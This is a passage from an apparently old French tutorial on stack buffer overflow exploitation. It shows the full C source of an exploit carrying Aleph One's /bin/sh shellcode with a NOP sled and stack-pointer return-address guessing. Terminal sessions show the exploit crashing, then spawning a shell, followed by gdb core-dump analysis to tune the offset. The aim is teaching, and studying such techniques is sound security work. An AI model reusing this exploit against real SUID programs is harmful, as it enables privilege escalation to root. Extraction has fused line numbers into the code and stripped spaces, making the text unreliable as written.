valeur du registre%eip nous confirme que nous avons pu rediriger le programme vulnérableàl’adresse de notre choix!Notre but est maintenant de profiter de cette situation pour faire exécuter au programme ce que nous voulons.Le mieux que nous pouvons espérer est l’exécution d’un shell car ainsi les commandes qui y seront lancées,le seront avec les privilèges du programme vulnérable.Par exemple,si notre programme vulnérable est SUID root et que nous somme simple user,les commandes exécutées dans ce shell auront les privilèges du root.La ligne de commande Unix ne nous interdit pas de passer des valeurs binaires non ASCII.Notre buffer a une taille de256octets,cela est amplement suffisant pour y caser un petit programme assembleur qui exécute un shell.Ce programme est communément appelé‘shellcode’car sa fonction est généralement de lancer un shell. Il n’est pas nécessaire de coder soit-même le shellcode,des shellcodes génériques pour différentes architectures ont déjàétéprogrammés.Le shellcode est injectédans le buffer vulnérable avant la nouvelle adresse de retour. Un des avantages de le placeràcet endroit plutôt qu’après notre adresse de retour,est que nous sommes ainsi sûr que,hormis d’écraser le frame pointer sauvéet l’adresse de retour,notre exploit n’écrase aucune autre donnée du programme.Enfin,il resteàdéterminer l’adresse en mémoire du shellcode et de l’utiliser comme nouvelle adresse de retour de la fonction main().Il serait trivial de déterminer un candidat pour l’adresse de retour en lançant gdb sur le programme vulnérable:en plaçant un breakpoint dans la fonction main()et en exécutant le programme,on obtient facilement l’adresse du buffer.Malheureusement, les conditions pour tracer le programme vulnérable(voir chapitre3.42)sont rarement rencontrées.La méthode utilisée dans l’exploit tenter d’estimer cette adresse du shellcode.Les lignes qui suivent sont celles de l’exploit et sont décrites plus bas.1/*2*classic get_sp()stack smashing exploit3*Usage:./ex1[OFFSET]4*for vuln1.c by OUAH(c)20025*ex1.c6*/78#include<stdio.h>9#include<stdlib.h>1011#define PATH"./vuln1"12#define BUFFER_SIZE25613#define DEFAULT_OFFSET014#define NOP0x901516u_long get_sp()17{18__asm__("movl%esp,%eax");1920}2122main(int argc,char**argv)23{24u_char execshell[]=25"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"26"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"27"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";2829char*buff,*ptr;30unsigned long*addr_ptr,ret;3132int i;33int offset=DEFAULT_OFFSET;3435buff=malloc(4096);36if(!buff)37{38printf("can't allocate memory\n");39exit(0);40}41ptr=buff;4243if(argc>1)offset=atoi(argv[1]);44ret=get_sp()+offset;4546memset(ptr,NOP,BUFFER_SIZE-strlen(execshell));47ptr+=BUFFER_SIZE-strlen(execshell);4849for(i=0;i<strlen(execshell);i++)50*(ptr++)=execshell[i];5152addr_ptr=(long*)ptr;53for(i=0;i<(8/4);i++)54*(addr_ptr++)=ret;55ptr=(char*)addr_ptr;56*ptr=0;5758printf("Jumping to:0x%x\n",ret);59execl(PATH,"vuln1",buff,NULL);60}Commençons par la fin:àla ligne59,avec la fonction execl()on appelle le programme vulnérable avec l’argument buff qui va nous permettre de l’exploiter.Cet argument est appelépayload car qu’il contient toutes les informations nécessairesàl’exploitation,dont le shellcode et la nouvelle adresse de retour.L’exploit se charge de contruire ce payload.A la ligne12,BUFFER_SIZE représente la taille du bufferàoverflower du programme vulnérable.Le payload,définiàla ligne35,a une taille de BUFSIZE+2*4+1octets,soit la taille du buffer plus2*4bytes pour le frame pointer et l’adresse de retour et un dernier octet pour le0qui termine la string.Le buffer est d’abord rempliàla ligne46par la valeur0x90.Cette valeur est celle de l’instruction assembleur NOP.Cette instruction,disponible sur la majoritédes processeurs,comme son nom l’indique ne fait rien du tout.Le shellcode,aux lignes 49-50est copiéentièrement juste avant l’adresse de retour,en fin de buffer,de façon àce qu’on ait le maximum de NOP avant le shellcode.Le shellcode que nous avons utiliséest un classique et aétécodépar Aleph One.L’adresse de retour est ensuite inséréen fin du payload,ainsi que le0final.Comme l’adresse de retour est estimée,les NOP du payload nous permettent de la déterminer avec une précision moindre.En effet,nous savons que si l’adresse de retour pointe dans les NOP alors notre shellcode sera exécuté.avant l’overflow après l’overflowfigure2.La ligne44,va estimer l’adresse de retour désirée en appelant notre fonction get_sp(). Cette fonction permet de récupérer le pointeur de pile%esp de l’exploit quand on se trouve dans la fonction main().Grâce aux mécanismes de mémoire virtuelle,on suppose que cette adresse risque de ne pas trop changer dans notre programme vulnérable ce qui nous donne une indication de l’adresse mémoire du buffer vulnérable qui se trouve lui aussi dans la pile.A cette adresse on y a ajoute un OFFSET(positifif ou négatif)par défautà0ou sinonàmisàla valeur du premier argument de l’exploit.Ainsi si l’exploit ne fonctionne pas,on peut toujours tâtonner en ajoutant un décalageàla fake adresse de retour pour qu’elle pointe dans les NOP. La figure2montre la constitution du payload.Nous pouvons maintenant exécuter notre exploit:ouah@weed:~$./ex1Jumping to:0xbffff8ccIllegal instruction(core dumped)ouah@weed:~$Nous voyons ici que notre exploit n’a pas fonctionné.Le programme vulnérable a sautédans une zone mémoire oùil a rencontréune instruction qu’il ne connaissait pas.Cela est dûàun mauvaise offset,ici l’offset0,car on l’a vu plus haut,notre fake adresse de retour est seulement estimée.Changeons notre offset:nous savons que dans notre buffer vulnérable il y a plus de200NOPs,ce qui nous permet donc de spécifier un offset par pas de200pour le trouver plus facilement:ouah@weed:~$./ex1400Jumping to:0xbffffa5csh-2.05$Bingo.Le prompt du shell a changé,on a effectivement pu faire exécuter/bin/shànotre programme vulnérable.Remarque:dans notre exemple,un offset de200faisait encore crasher le programme, mais un offset de250environétait suffisant pour l’exploiter.En fait,l’offset sert surtoutàla portabilitéde l’exploit d’une version du système d’exploitationàune autre.On aurait aussi bien pu coder l’exploit qui prend directement cette fake adresse de retour en argument.Voyons comment en débuggant le core dumped on peut trouver directement l’offset qu’il faut ajouter.Relançons notre exploit sans argument(soit avec un offset0):ouah@weed:~$./ex1Jumping to:0xbffff8ccIllegal instruction(core dumped)ouah@weed:~$Le fichier core aétédumpédans le répertoire de programme vulnénçons maintenant gdb sur le fichier core afin de pouvoir l’analyser:ouah@weed:~$gdb-c core-qCore was generated by`vuln1'.Program terminated with signal4,Illegal instruction.#00xbffff8ce in??()(gdb)x/120xbffff8cc0xbffff8cc:0xbffffc340xbffffc3b0xbffffc4b 0xbffffc530xbffff8dc:0xbffffc5d0xbffffe100xbffffe38 0xbffffe5a0xbffff8ec:0xbffffe670xbffffe7f0xbffffe8a 0xbffffe92…(gdb)...0xbffff9bc:0x760036380x316e6c750x90909000 0x909090900xbffff9cc:0x909090900x909090900x90909090 0x909090900xbffff9dc:0x909090900x909090900x90909090 0x90909090(gdb)p0xbffff9cc-0xbffff8cc。